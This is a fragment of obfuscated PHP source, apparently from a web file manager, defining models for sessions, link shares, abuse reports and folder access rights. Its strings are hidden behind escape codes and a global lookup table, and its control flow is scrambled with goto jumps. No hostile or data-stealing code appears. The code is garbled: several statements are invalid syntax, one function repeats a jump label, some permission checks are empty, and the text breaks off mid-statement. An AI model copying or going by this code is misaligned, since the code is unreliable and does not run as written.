extends ModelBase { protected $tableName = "\x73\171\x73\x74\145\155\137\x73\x65\163\163\x69\x6f\156"; public function get($fⰭӄӶ) { $F͑ =& $_SERVER[ֹ]; $c = $this->where(array($F͑[2181] => $fⰭӄӶ))->find(); if (!is_array($c)) { return !1; } return $c[$F͑[689]]; } public function set($cÏޣ, $B뾈, $Bٝ֜ = 3600) { $aœꈊ =& $_SERVER[ֹ]; $fƓŬ = array($aœꈊ[2181] => $cÏޣ, $aœꈊ[2110] => $B뾈, $aœꈊ[2182] => $Bٝ֜ + time()); if (Session::get($aœꈊ[2183])) { $fƓŬ[$aœꈊ[1415]] = Session::get($aœꈊ[2183]); } else { $fƓŬ[$aœꈊ[1415]] = 0; } if ($this->get($cÏޣ)) { return $this->where(array($aœꈊ[2181] => $cÏޣ))->save($fƓŬ); } else { return $this->add($fƓŬ, array(), !0); } } public function remove($AΈٱ) { return $this->where(array($_SERVER[ֹ][2181] => $AΈٱ))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ֹ][2184] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\x68\x61\162\145"; protected $dataAuto = array(array("\x6d\x6f\x64\x69\x66\171\124\x69\x6d\x65", "\x74\x69\x6d\x65", "\x69\156\163\x65\x72\164\x2c\x75\160\144\x61\164\x65", "\146\165\156\x63\x74\151\157\156"), array("\x63\162\145\x61\x74\145\x54\x69\155\x65", "\164\x69\x6d\145", "\x69\156\163\145\x72\x74", "\146\x75\156\143\164\x69\157\156"), array("\x6f\160\x74\x69\x6f\156\x73", '', "\x69\156\x73\x65\x72\x74\54\x75\160\x64\x61\164\145\x2c\x73\x65\154\145\x63\x74", "\x6a\x73\157\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($bߑ) { $b嘯 =& $_SERVER[ֹ]; $Cٝ = isset($bߑ[0]) ? $bߑ[0] : !1; return array($b嘯[2185] => array(USER_ID, $b嘯[2186]), $b嘯[2148] => array($Cٝ, $b嘯[2187])); } protected function listSimple() { $F = array($_SERVER[ֹ][1415] => USER_ID); $c„ۇ = $this->field($this->fieldList)->where($F)->select(); return $c„ۇ ? $c„ۇ : array(); } protected function getInfo($b啩, $FƧľ = false) { $cĭ =& $_SERVER[ֹ]; if ($FƧľ) { return $this->_getShareInfo(array($cĭ[437] => $b啩)); } $Fʸ = $this->cacheFunctionGet($cĭ[2188], $b啩); return $Fʸ; } public function getInfoByHash($Cꫣ) { return $this->_getShareInfo(array($_SERVER[ֹ][439] => $Cꫣ)); } public function getInfoByPath($B̫ޝ) { $e =& $_SERVER[ֹ]; $Fۋ = array($e[1415] => USER_ID, $e[365] => $B̫ޝ); return $this->_getShareInfo($Fۋ); } public function getInfoBySourcePath($fɶې) { $bۨב =& $_SERVER[ֹ]; $d׈ˏ = array($bۨב[1415] => USER_ID, $bۨב[1012] => $fɶې); return $this->_getShareInfo($d׈ˏ); } private function _getShareInfo($C̘) { goto fǐׂ; E􋋂: $C̘ = array($e[437] => $e[$e[437]]); $C̤̍ = $e[2189]; $dļ = Model($e[533])->order($e[363])->field($C̤̍)->where($C̘)->select(); goto b؏Э; b؏Э: if ($e[$e[365]] == $e[464]) { $e[$e[387]] = IO::info($e[$e[1012]]); } else { $e[$e[387]] = Model($e[1104])->pathInfo($e[$e[365]]); } $e[$e[2190]] = $dļ; return $e; goto D߸¹; fǐׂ: $e =& $_SERVER[ֹ]; $e = $this->where($C̘)->find(); if (!$e) { return !1; } goto E􋋂; D߸¹: } protected function getInfoAuth($d듡) { $b͠ =& $_SERVER[ֹ]; $c餢 = $this->getInfo($d듡); $c餢[$b͠[372]] = Model($b͠[450])->authMake($c餢[$b͠[2190]]); return $c餢; } protected function listData($cҾ = null, $Dڳ = 300) { $F =& $_SERVER[ֹ]; $D戄߼ = array(array($F[442] => array($F[922], 0), $F[444] => array($F[922], 0), $F[2191] => $F[2160])); if ($cҾ == $F[1846]) { $D戄߼ = array($F[442] => 1); } else { if ($cҾ == $F[1001]) { $D戄߼ = array($F[444] => 1); } } $D戄߼[$F[1415]] = USER_ID; $Cۋ = $this->where($D戄߼)->selectPage($Dڳ); return $Cۋ; } protected function listToMe($b҅ = 300) { goto bˍ; e㳝: $Aᆣ = array_to_keyvalue_group($D[$d[350]], $d[437]); if (!$Aᆣ) { return $D; } $A㊑ = $d[2193]; goto Fʲ; bȠه: $aˮԑ = array($d[517] => SourceModel::TYPE_USER, $d[452] => USER_ID); if ($Fɋ) { $aˮԑ = array(array($d[517] => SourceModel::TYPE_USER, $d[452] => USER_ID), array($d[517] => SourceModel::TYPE_GROUP, $d[452] => array($d[7], $Fɋ)), $d[2191] => $d[2160]); } $D = Model($d[533])->where($aˮԑ)->selectPage($b҅); goto e㳝; bƞ: $bƞ = array($d[2194] => $aƹ, $d[2195] => $D[$d[347]]); return $bƞ; goto d; bˍ: $d =& $_SERVER[ֹ]; $B̊ = Session::get($d[2192]); $Fɋ = array_to_keyvalue($B̊, $d[33], $d[2079]); goto bȠه; Fʲ: $aˮԑ = array($d[437] => array($d[380], array_keys($Aᆣ))); $aƹ = $this->field($A㊑)->where($aˮԑ)->select(); foreach ($aƹ as $F˺ => &$fӪ) { $fӪ[$d[2190]] = $Aᆣ[$fӪ[$d[437]]]; } goto bƞ; d: } protected function shareAdd($bچ, $f稊) { $F̰ =& $_SERVER[ֹ]; $F = $this->_addShareData($bچ, $f稊); if (!empty($f稊[$F̰[2196]])) { $this->_shareAuthSet($F, $f稊[$F̰[2196]]); } $this->shareEventAdd($bچ, $f稊, $F̰[1004]); return $F; } private function shareEventAdd($e, $bصㆅ, $b΄Д = "\141\144\x64") { goto a푆; A: $b‘ = $fتܙ[2199]; if ($AϦƌ[$fتܙ[442]] == $fتܙ[464] && $bصㆅ[$fتܙ[442]] == $fتܙ[83]) { $b‘ = $fتܙ[2197]; } if ($AϦƌ[$fتܙ[442]] == $fتܙ[83] && $bصㆅ[$fتܙ[442]] == $fتܙ[464]) { $b‘ = $fتܙ[2200]; } goto EФ; a푆: $fتܙ =& $_SERVER[ֹ]; if ($b΄Д == $fتܙ[1004]) { if ($bصㆅ[$fتܙ[442]] == $fتܙ[83]) { Model($fتܙ[501])->eventShare($e, $fتܙ[2197]); } if ($bصㆅ[$fتܙ[444]] == $fتܙ[83]) { Model($fتܙ[501])->eventShare($e, $fتܙ[2198]); } return; } $AϦƌ = $this->getInfoByPath($e); goto A; Fֱ: return; goto a쥬; EФ: if ($AϦƌ[$fتܙ[444]] == $fتܙ[464] && $bصㆅ[$fتܙ[444]] == $fتܙ[83]) { $b‘ = $fتܙ[2198]; } if ($AϦƌ[$fتܙ[444]] == $fتܙ[83] && $bصㆅ[$fتܙ[444]] == $fتܙ[464]) { $b‘ = $fتܙ[2201]; } Model($fتܙ[501])->eventShare($e, $b‘); goto Fֱ; a쥬: } private function _addShareData($EΒڥ, $CΖ = array()) { goto ȅ; bÛ↶: return $aǥߊ; goto eڡ; ȅ: $b =& $_SERVER[ֹ]; $c = array($b[379] => $EΒڥ, $b[1406] => USER_ID); if ($EΒڥ == 0) { $c = array($b[2202] => $CΖ[$b[1012]], $b[1406] => USER_ID); } goto b; FЎ篎: $c = array($b[1406] => USER_ID, $b[379] => $EΒڥ, $b[1323] => $b[33], $b[442] => 0, $b[444] => 0, $b[1012] => $b[33], $b[291] => $b[33], $b[798] => $b[33], $b[2203] => 0, $b[2204] => 0, $b[700] => 0, $b[2205] => $b[33], $b[439] => $b[33]); $bϼӎ = explode($b[47], $b[2206]); foreach ($bϼӎ as $BυÅ) { if (!isset($CΖ[$BυÅ])) { continue; } $c[$BυÅ] = $CΖ[$BυÅ]; } goto D矅Ә; D矅Ә: $aǥߊ = $this->add($c); $A݃ = array($b[439] => short_id($aǥߊ)); $this->where(array($b[436] => $aǥߊ))->save($A݃); goto bÛ↶; b: if ($C옃 = $this->where($c)->find()) { return $C옃[$b[437]]; } if ($EΒڥ == 0) { $Aȓ; = array($b[28] => get_path_this($CΖ[$b[75]])); } else { $Aȓ; = Model($b[749])->sourceInfo($EΒڥ); if (!$Aȓ;) { return !1; } } if (!$CΖ[$b[1323]]) { $CΖ[$b[1323]] = $Aȓ;[$b[28]]; } goto FЎ篎; eڡ: } private function _shareAuthSet($FᵱǓ, $c) { goto aӗ; CՉş: return $c->addAll($a髴, array(), !0); goto DӾЗ; aӗ: $b쓈 =& $_SERVER[ֹ]; if (!is_array($c)) { return !1; } $c = Model($b쓈[2207]); goto ḅ; ḅ: $c->where(array($b쓈[437] => $FᵱǓ))->delete(); $a髴 = array(); foreach ($c as $aӱ) { $e = SourceModel::TYPE_USER; if ($aӱ[$b쓈[367]] == SourceModel::TYPE_GROUP) { $e = SourceModel::TYPE_GROUP; } $D = array($b쓈[437] => $FᵱǓ, $b쓈[367] => $e, $b쓈[452] => intval($aӱ[$b쓈[452]]), $b쓈[2208] => 0, $b쓈[2209] => -1); if ($aӱ[$b쓈[2208]]) { $D[$b쓈[2208]] = $aӱ[$b쓈[2208]]; } else { if ($aӱ[$b쓈[2209]]) { $D[$b쓈[2209]] = $aӱ[$b쓈[2209]]; } } $a髴[] = $D; } goto CՉş; DӾЗ: } public function numViewAdd($Eΰˏ) { $d׾ =& $_SERVER[ֹ]; $Bς⚜ = array($d׾[436] => $Eΰˏ); $this->where($Bς⚜)->setAdd($d׾[2203]); } public function numDownloadAdd($cŐ) { $aݻ =& $_SERVER[ֹ]; $EĦ = array($aݻ[436] => $cŐ); $this->where($EĦ)->setAdd($aݻ[2204]); } protected function shareEdit($c󼂊, $D̕Ӕ) { goto b; Eѳ: $this->_checkLinkShare($D̕Ӕ, $F); $a慽 = array(); $cь = explode($ẹ[47], $ẹ[2210]); goto F摚; Aݹ: if (isset($D̕Ӕ[$ẹ[2196]])) { $this->_shareAuthSet($c󼂊, $D̕Ӕ[$ẹ[2196]]); } return !0; goto Dւ; F摚: foreach ($cь as $bˋ) { if (!array_key_exists($bˋ, $D̕Ӕ)) { continue; } $a慽[$bˋ] = $D̕Ӕ[$bˋ]; } $this->shareEventAdd($F[$ẹ[365]], $D̕Ӕ, $ẹ[2047]); $this->where(array($ẹ[436] => $c󼂊))->save($a慽); goto Aݹ; b: $ẹ =& $_SERVER[ֹ]; $F = $this->getInfo($c󼂊); if (!$F) { return !1; } goto Eѳ; Dւ: } private function _checkLinkShare($bϺս, $E򎘽) { goto e݋; e݋: $F㫡 =& $_SERVER[ֹ]; if ($bϺս[$F㫡[442]] != $F㫡[83]) { return; } $d্㺃 = $E򎘽[$F㫡[387]][$F㫡[365]]; goto AՆ; AՆ: if ($E򎘽[$F㫡[387]][$F㫡[29]] != $F㫡[163]) { $b = $this->_folderReport($d্㺃); if (!$b) { return; } show_json(LNG($F㫡[2211]) . $F㫡[2212] . $b, !1); } $a֠ = Model($F㫡[749])->fileInfoGet($E򎘽[$F㫡[387]][$F㫡[365]]); if (!$a֠) { return; } goto Fڞ; Fڞ: $D枳 = $this->shareFileMeta($a֠[$F㫡[415]]); if (isset($D枳[$F㫡[355]]) && $D枳[$F㫡[355]] == $F㫡[83]) { show_json(LNG($F㫡[2213]), !1); } goto a; a: } private function _folderReport($E⒡) { goto bߵ; dȬԦ: $c݆ = substr($B[$F̓Ș[455]], strpos($B[$F̓Ș[455]], $c)); $a͔㕘 = array($F̓Ș[365] => array($F̓Ș[7], trim($c݆, $F̓Ș[47]))); $eΑ = Model($F̓Ș[749])->where($a͔㕘)->field($F̓Ș[28])->select(); goto Dܒ; bߵ: $F̓Ș =& $_SERVER[ֹ]; $a͔㕘 = array($F̓Ș[415] => array($F̓Ș[922], 0), $F̓Ș[686] => 3); $FĊĮ = Model($F̓Ș[2214])->where($a͔㕘)->field($F̓Ș[415])->select(); goto Aõɔ; Aõɔ: if (!$FĊĮ) { return !1; } $FĊĮ = array_to_keyvalue($FĊĮ, $F̓Ș[33], $F̓Ș[415]); $c = $F̓Ș[47] . $E⒡ . $F̓Ș[47]; goto f͍; Dܒ: $bݎ = array_to_keyvalue($eΑ, $F̓Ș[33], $F̓Ș[28]); $bݎ[] = $B[$F̓Ș[28]]; return implode($F̓Ș[8], $bݎ); goto Aآ; f͍: $a͔㕘 = array($F̓Ș[415] => array($F̓Ș[7], $FĊĮ), $F̓Ș[455] => array($F̓Ș[748], "\45{$c}\45"), $F̓Ș[393] => 0); $B = Model($F̓Ș[749])->where($a͔㕘)->field($F̓Ș[2215])->find(); if (!$B) { return !1; } goto dȬԦ; Aآ: } protected function remove($dʷ) { goto b; e݋ԏ: $bǘ = $this->where($A̸뢹)->delete(); if ($bǘ) { Model($EߠԌ[533])->where(array($EߠԌ[437] => $dʷ))->delete(); } $D̻ذ = is_array($dʷ) ? $dʷ[1] : array($dʷ); goto E; b: $EߠԌ =& $_SERVER[ֹ]; if (is_array($dʷ)) { $dʷ = array($EߠԌ[7], $dʷ); } $A̸뢹 = array($EߠԌ[437] => $dʷ); goto e݋ԏ; E: for ($eϘۆ = 0; $eϘۆ < count($D̻ذ); $eϘۆ++) { $D = $this->getInfo($D̻ذ[$eϘۆ]); if ($D[$EߠԌ[444]] == $EߠԌ[83]) { Model($EߠԌ[501])->eventShare($D[$EߠԌ[365]], $EߠԌ[2201]); } if ($D[$EߠԌ[442]] == $EߠԌ[83]) { Model($EߠԌ[501])->eventShare($D[$EߠԌ[365]], $EߠԌ[2200]); } } return $bǘ; goto FϢ; FϢ: } protected function removeBySource($EٳÔ) { goto A; Fﵤ҈: $this->where($fɷ)->delete(); Model($b⥇[533])->where($fɷ)->delete(); goto F½ԣ՜; C: $C = array_to_keyvalue($C, $b⥇[33], $b⥇[437]); if (!$C) { return; } $fɷ = array($b⥇[436] => array($b⥇[380], $C)); goto Fﵤ҈; A: $b⥇ =& $_SERVER[ֹ]; $fɷ = array($b⥇[379] => array($b⥇[380], $EٳÔ)); $C = $this->field($b⥇[437])->where($fɷ)->select(); goto C; F½ԣ՜: } public function listAll($d⚵) { goto f܏; DӶ: if ($d⚵[$b[699]]) { $EӍ┠ = $d⚵[$b[700]] ? $d⚵[$b[700]] : strtotime(date($b[2216])); $b[$b[183]] = array($b[317], array($d⚵[$b[699]], $EӍ┠)); } if ($d⚵[$b[29]]) { $b[$d⚵[$b[29]]] = 1; } else { $b[] = array($b[442] => array($b[922], 0), $b[444] => array($b[922], 0), $b[2191] => $b[2160]); } if ($d⚵[$b[2156]]) { $b[] = array($b[439] => $d⚵[$b[2156]], $b[1323] => array($b[748], "\x25{$d⚵[$b[2156]]}\45"), $b[2191] => $b[2160]); } goto F; D: return $BԱ; goto d; f܏: $b =& $_SERVER[ֹ]; $b = array(); if ($d⚵[$b[1415]]) { $b[$b[1415]] = $d⚵[$b[1415]]; } goto DӶ; F: $BԱ = $this->_makeOrder()->where($b)->selectPage(20); if (empty($BԱ[$b[350]])) { return array(); } $this->_listDataApply($BԱ[$b[350]]); goto D; d: } public function listDataApply($f튠) { $this->_listDataApply($f튠); return $f튠; } private function _listDataApply(&$FΣ䑆) { $a读 =& $_SERVER[ֹ]; $cӰ = array_to_keyvalue($FΣ䑆, $a读[33], $a读[1415]); $d܊ = Model($a读[473])->userListInfo(array_unique($cӰ)); $Eܓ = array_to_keyvalue($FΣ䑆, $a读[33], $a读[365]); $B = Model($a读[749])->sourceListInfo($Eܓ, !0); foreach ($FΣ䑆 as &$Fݙ) { $c殿 = $Fݙ[$a读[1415]]; $Fݙ[$a读[2217]] = $d܊[$c殿] ? $d܊[$c殿] : !1; $B = $Fݙ[$a读[365]]; $Fݙ[$a读[387]] = $B[$B] ? $B[$B] : !1; } } private function _makeOrder($f = '') { goto Cߌ; Cߌ: $E݇ =& $_SERVER[ֹ]; $d = array($E݇[183], $E݇[700], $E݇[2203], $E݇[2204]); $eМ = array($E݇[398] => $E݇[399], $E݇[400] => $E݇[401]); goto E; Cś: $f = $f . "{$A}\40{$eۥ}"; return $this->order($f); goto B; E: $A = Input::get($E݇[403], $E݇[7], $E݇[385], $d); $eۥ = Input::get($E݇[404], $E݇[7], $E݇[2218], array($E݇[2155], $E݇[400])); $eۥ = $eМ[$eۥ]; goto Cś; B: } public function reportAdd($e) { $B =& $_SERVER[ֹ]; $a߅ = array($B[437] => $e[$B[437]], $B[1415] => USER_ID); if (Model($B[2214])->where($a߅)->find()) { return !1; } $DͰ = array($B[437] => $e[$B[437]], $B[1323] => $e[$B[1323]], $B[365] => $e[$B[365]], $B[415] => $e[$B[415]], $B[1415] => USER_ID, $B[29] => $e[$B[29]], $B[401] => $e[$B[401]]); return Model($B[2214])->add($DͰ); } public function reportList($Fϐ) { goto e; Dۑ: if (empty($eև[$Aʳ[350]])) { return array(); } $this->_listDataApply($eև[$Aʳ[350]]); return $eև; goto Eš; e: $Aʳ =& $_SERVER[ֹ]; $e = array(); if ($Fϐ[$Aʳ[699]]) { $b˩ = $Fϐ[$Aʳ[700]] ? $Fϐ[$Aʳ[700]] : strtotime(date($Aʳ[2216])); $e[$Aʳ[183]] = array($Aʳ[317], array($Fϐ[$Aʳ[699]], $b˩)); } goto c݌̜; Fż: $bП = array($Aʳ[398] => $Aʳ[399], $Aʳ[400] => $Aʳ[401]); $Eċĸ = $Aʳ[2222] . $bП[$E]; $eև = Model($Aʳ[2214])->where($e)->order($Eċĸ)->selectPage(20); goto Dۑ; c݌̜: if (isset($Fϐ[$Aʳ[29]]) && in_array($Fϐ[$Aʳ[29]], array($Aʳ[83], $Aʳ[2219], $Aʳ[2220], $Aʳ[2221], $Aʳ[1895]))) { $e[$Aʳ[29]] = $Fϐ[$Aʳ[29]]; } if (isset($Fϐ[$Aʳ[686]]) && in_array($Fϐ[$Aʳ[686]], array($Aʳ[464], $Aʳ[83], $Aʳ[2219], $Aʳ[2220]))) { $e[$Aʳ[686]] = $Fϐ[$Aʳ[686]]; } $E = Input::get($Aʳ[404], $Aʳ[7], $Aʳ[2218], array($Aʳ[2155], $Aʳ[400])); goto Fż; Eš: } public function reportStatus($bŏړ) { goto B; C梔귰: $f羃 = Model($e݌[2214])->where($BÜ)->save($eɩ); if ($bŏړ[$e݌[686]] == $e݌[2219]) { if ($Fۅ[$e݌[415]] != $e݌[464] && $this->shareFileMeta($Fۅ[$e݌[415]])) { $this->shareFileMeta($Fۅ[$e݌[415]], 0); } $this->remove($Fۅ[$e݌[437]]); return !0; } if ($f羃 && $bŏړ[$e݌[686]] == $e݌[2220]) { $B = $eɩ[$e݌[686]] == $e݌[2220] ? 1 : 0; $this->shareFileMeta($Fۅ[$e݌[415]], $B); $this->removeByFile($Fۅ[$e݌[415]]); } goto B; e֔޶: if (!$Fۅ) { return !1; } $eɩ = array($e݌[686] => $bŏړ[$e݌[686]]); if ($bŏړ[$e݌[686]] == $e݌[2220] && $Fۅ[$e݌[686]] == $e݌[2220]) { $eɩ[$e݌[686]] = 0; } goto C梔귰; B: $e݌ =& $_SERVER[ֹ]; $BÜ = array($e݌[363] => $bŏړ[$e݌[363]]); $Fۅ = Model($e݌[2214])->where($BÜ)->field($e݌[2223])->find(); goto e֔޶; B: return $f羃; goto Cؗ; Cؗ: } private function removeByFile($eڭ) { goto B; aǘ: $FɃޙ = array($dĘڝ[365] => array($dĘڝ[7], $dܒ), $dĘڝ[442] => 1); $Aٱˋà = Model($dĘڝ[2056])->where($FɃޙ)->field($dĘڝ[437])->select(); if (empty($AٱˋÃ)) { return; } goto dфي; dфي: $D = array_to_keyvalue($AٱˋÃ, $dĘڝ[33], $dĘڝ[437]); $this->remove($D); goto cԈˈ; B: $dĘڝ =& $_SERVER[ֹ]; $Aٱˋà = Model($dĘڝ[749])->where(array($dĘڝ[415] => $eڭ))->field($dĘڝ[365])->select(); $dܒ = array_to_keyvalue($AٱˋÃ, $dĘڝ[33], $dĘڝ[365]); goto aǘ; cԈˈ: } private function shareFileMeta($Eל˭, $FΙ = null) { $Fꊑ =& $_SERVER[ֹ]; $bھ혅 = array($Fꊑ[415] => $Eל˭, $Fꊑ[89] => $Fꊑ[2224]); if (is_null($FΙ)) { return Model($Fꊑ[2225])->where($bھ혅)->find(); } $bھ혅[$Fꊑ[355]] = $FΙ; Model($Fꊑ[2225])->add($bھ혅, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\137\x73\157\165\162\143\145\137\x61\165\x74\x68"; public function getAuth($FŦ) { goto Aޢ; Aޢ: $cף =& $_SERVER[ֹ]; $a = $cף[2226]; $f֑ = array($cף[365] => $FŦ); goto Bң; Bң: $Fƈ = $this->field($a)->order($cף[363])->where($f֑)->select(); $E묯 = array(); foreach ($Fƈ as $bԢ) { if (Model($cף[2227])->listData($bԢ[$cף[2208]])) { $E묯[] = $bԢ; } } goto Cʃ; Cʃ: return $E묯; goto eǏ; eǏ: } public function setAuth($C, $Cƨ؛) { goto Aڰ; d騜ݿƛ: $Dؔ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $B༦ = array(); foreach ($Cƨ؛ as $f超ԑ) { if (!in_array($f超ԑ[$f탇[367]], $Dؔ)) { show_json(LNG($f탇[2228]), !1); } if ($fŤ != $dϙ) { if ($f超ԑ[$f탇[367]] == SourceModel::TYPE_GROUP) { } if ($f超ԑ[$f탇[452]] != 0 && !in_array($f超ԑ[$f탇[452]], $FȰ)) { } } if ($f超ԑ[$f탇[452]] == 0) { $f超ԑ[$f탇[367]] = SourceModel::TYPE_USER; } $B༦[] = array($f탇[365] => $C, $f탇[367] => intval($f超ԑ[$f탇[367]]), $f탇[452] => intval($f超ԑ[$f탇[452]]), $f탇[2208] => intval($f超ԑ[$f탇[2208]]) ? intval($f超ԑ[$f탇[2208]]) : 0, $f탇[2209] => intval($f超ԑ[$f탇[2209]]) ? intval($f超ԑ[$f탇[2209]]) : -1); } goto f; Aڰ: $f탇 =& $_SERVER[ֹ]; $BőΓ = Model($f탇[1104])->sourceInfo($C); if ($BőΓ[$f탇[367]] != SourceModel::TYPE_GROUP) { return !1; } goto a; a: $dϙ = 1; $fŤ = $BőΓ[$f탇[452]]; if ($fŤ != $dϙ) { $b֑۞ = array($f탇[2079] => $fŤ); $FȰ = Model($f탇[2154])->field($f탇[1415])->where($b֑۞)->select(); $FȰ = array_to_keyvalue($FȰ, $f탇[33], $f탇[1415]); } goto d騜ݿƛ; f: $this->where(array($f탇[379] => $C))->delete(); $this->addAll($B༦); return !0; goto AǶ; AǶ: } public function authClear($f) { $d׳ =& $_SERVER[ֹ]; $Fʛ = Model($d׳[1104])->sourceInfo($f); $Aǐ = array($f); if ($Fʛ[$d׳[366]] == $d׳[83]) { $AЗ = array($d׳[521] => array($d׳[479], $Fʛ[$d׳[455]] . $f . $d׳[480])); $Aǐ = Model($d׳[1104])->field($d׳[379])->where($AЗ)->getField($d׳[365], !0); $Aǐ[] = $f; } $this->where(array($d׳[379] => array($d׳[380], $Aǐ)))->delete(); return !0; } public function get($aū) { $f = $this->getSourceList(array($aū), !0); return $f[0]; } public function getSourceList($A𛄈ۂ, $A = false) { goto E; a֢: $cᰂ = array_values(array_unique($cᰂ)); if (!$cᰂ) { return array(); } $E񢈪 = $fˑ[2230]; goto Bُ; a𲎃: if (!$A) { $C = array($fˑ[379] => array($fˑ[380], $A𛄈ۂ)); $A = $cյ->field($fˑ[2229])->where($C)->select(); $A = array_to_keyvalue($A, $fˑ[365]); } $cᰂ = $A𛄈ۂ; foreach ($A as $a󈬄 => $B–擤) { $A = $cյ->parentLevelArray($B–擤[$fˑ[455]]); $cᰂ = array_merge($cᰂ, $A, array($a󈬄)); } goto a֢; E: $fˑ =& $_SERVER[ֹ]; if (!$A𛄈ۂ) { return array(); } $cյ = Model($fˑ[1104]); goto a𲎃; Cꇽׂ: $D믭 = array(); foreach ($A as $fľ => $e밌͍) { $D믭[$fľ] = $this->makeSourceAuth($e밌͍, $B܉ţҾ); } return $D믭; goto DÚ; Bُ: $C = array($fˑ[379] => array($fˑ[380], $cᰂ)); $B܉ţҾ = $this->field($E񢈪)->where($C)->select(); $B܉ţҾ = array_to_keyvalue_group($B܉ţҾ, $fˑ[365]); goto Cꇽׂ; DÚ: } public function authDeepCheck($Dϰޤ, $eΣ = false) { $C֌̩孱 =& $_SERVER[ֹ]; if (_get($GLOBALS, $C֌̩孱[453])) { return !1; } $b = $this->makeAuthDeep(); if (!in_array($Dϰޤ, $b)) { return !1; } return array($C֌̩孱[373] => -1, $C֌̩孱[414] => array($C֌̩孱[381] => $C֌̩孱[1025], $C֌̩孱[2085] => $C֌̩孱[464], $C֌̩孱[382] => LNG($C֌̩孱[2231]), $C֌̩孱[2097] => $C֌̩孱[2232]), $C֌̩孱[2233] => array($C֌̩孱[384] => $C֌̩孱[2234], $C֌̩孱[75] => $Dϰޤ)); } protected function makeAuthDeep() { goto bۋ; F: $C⤼ = Model($Cޑ掯[1104]); $e͵ = Model($Cޑ掯[454]); if ($Eϫ) { $fԸ = $C⤼->where(array($Cޑ掯[365] => array($Cޑ掯[380], $Eϫ)))->select(); foreach ($fԸ as $E܊) { $a = $C⤼->parentLevelArray($E܊[$Cޑ掯[455]]); $FƩ = array_merge($FƩ, $a); $e[] = $E܊[$Cޑ掯[452]]; } } goto fӛ; dª: return $FƩ; goto A؎ܻ; bۋ: $Cޑ掯 =& $_SERVER[ֹ]; static $FƩ = false; if ($FƩ) { return $FƩ; } goto Cх; Eߥ: if ($dヴ) { $D盍Ꝭ = array(array($Cޑ掯[367] => SourceModel::TYPE_USER, $Cޑ掯[452] => USER_ID), array($Cޑ掯[367] => SourceModel::TYPE_GROUP, $Cޑ掯[452] => array($Cޑ掯[380], $dヴ)), $Cޑ掯[910] => $Cޑ掯[2160]); } if ($E͉) { $D盍Ꝭ = array($D盍Ꝭ, $Cޑ掯[2208] => array($Cޑ掯[2236], $E͉)); } $a = $this->field($Cޑ掯[2237])->where($D盍Ꝭ)->select(); goto fЮ; fӛ: $e = array_values(array_unique($e)); $D;ٓ = $e; foreach ($D;ٓ as $A޻ϳ) { $f҆ = $e͵->getInfo($A޻ϳ); $a = $C⤼->parentLevelArray($f҆[$Cޑ掯[455]]); $e = array_merge($e, $a); } goto Bփ; Bփ: $e = array_values(array_unique($e)); foreach ($e as $A޻ϳ) { $f҆ = $e͵->getInfo($A޻ϳ); $FƩ[] = $f҆[$Cޑ掯[387]][$Cޑ掯[365]]; } $FƩ = array_values(array_unique($FƩ)); goto dª; bͤ: $dヴ = Session::get($Cޑ掯[2192]); $dヴ = array_to_keyvalue($dヴ, $Cޑ掯[33], $Cޑ掯[2079]); $D盍Ꝭ = array($Cޑ掯[367] => SourceModel::TYPE_USER, $Cޑ掯[452] => USER_ID); goto Eߥ; Cх: $Aץ܃ = Model($Cޑ掯[2235])->listData(); $E͉ = array(); foreach ($Aץ܃ as $Cώ) { if ($Cώ[$Cޑ掯[372]] == 0 && $Cώ[$Cޑ掯[2099]] == $Cޑ掯[83]) { $E͉[] = $Cώ[$Cޑ掯[363]]; } } goto bͤ; fЮ: $Eϫ = array_to_keyvalue($a, $Cޑ掯[33], $Cޑ掯[365]); $FƩ = array(); $e = $dヴ; goto F; A؎ܻ: } private function makeSourceAuth($bқ, $FĎ) { goto eռӪ; C떟ɩ: if (!$Fߐ && $bқ[$c㬂ָ[367]] == SourceModel::TYPE_GROUP) { $AԚі = Model($c㬂ָ[454])->getInfo($bқ[$c㬂ָ[452]]); $eܷ = explode($c㬂ָ[47], trim($e[$c㬂ָ[455]], $c㬂ָ[47])); foreach ($eܷ as $a𬂄ϸ) { if ($a𬂄ϸ == $c㬂ָ[464] || $a𬂄ϸ == $aۈ) { continue; } if (!isset($c䇆[$a𬂄ϸ])) { continue; } $F = $c䇆[$a𬂄ϸ]; $Fߐ = array($c㬂ָ[2238] => intval($F[$c㬂ָ[372]][$c㬂ָ[372]]), $c㬂ָ[2239] => $F[$c㬂ָ[372]], $c㬂ָ[2233] => array($c㬂ָ[384] => $c㬂ָ[2242], $c㬂ָ[2243] => $AԚі[$c㬂ָ[387]][$c㬂ָ[365]], $c㬂ָ[2241] => $AԚі[$c㬂ָ[459]])); break; } } if ((!$Fߐ || $Fߐ[$c㬂ָ[373]] <= 0) && $bқ[$c㬂ָ[367]] == SourceModel::TYPE_GROUP) { $fބ = $this->authDeepCheck($bқ[$c㬂ָ[365]], $Fߐ); if ($fބ) { $Fߐ = $fބ; } } return $Fߐ; goto Eƚ; a: $aۈ = $c㬂ָ[83]; $B = Model($c㬂ָ[1104])->parentLevelArray($bқ[$c㬂ָ[455]]); $B = array_merge(array($bқ[$c㬂ָ[365]]), array_reverse($B)); goto b; eռӪ: $c㬂ָ =& $_SERVER[ֹ]; $c䇆 = Session::get($c㬂ָ[2192]); $c䇆 = array_to_keyvalue($c䇆, $c㬂ָ[2079]); goto a; b: $Fߐ = !1; foreach ($B as $eΜ) { if (!isset($FĎ[$eΜ])) { continue; } $AЦ = $this->authMake($FĎ[$eΜ]); if ($AЦ[$c㬂ָ[414]]) { $Fߐ = $AЦ; break; } } if (!$Fߐ && $bқ[$c㬂ָ[367]] == SourceModel::TYPE_GROUP) { $a𬂄ϸ = $bқ[$c㬂ָ[452]]; if (isset($c䇆[$a𬂄ϸ])) { $F = $c䇆[$a𬂄ϸ]; $AԚі = Model($c㬂ָ[454])->getInfo($a𬂄ϸ); $Fߐ = array($c㬂ָ[2238] => intval($F[$c㬂ָ[372]][$c㬂ָ[372]]), $c㬂ָ[2239] => $F[$c㬂ָ[372]], $c㬂ָ[2233] => array($c㬂ָ[384] => $c㬂ָ[2240], $c㬂ָ[75] => $AԚі[$c㬂ָ[387]][$c㬂ָ[365]], $c㬂ָ[2241] => $AԚі[$c㬂ָ[459]])); } } goto C떟ɩ; Eƚ: } public function authOwnerApply($c‚) { goto d烣; c两: $Bқ = 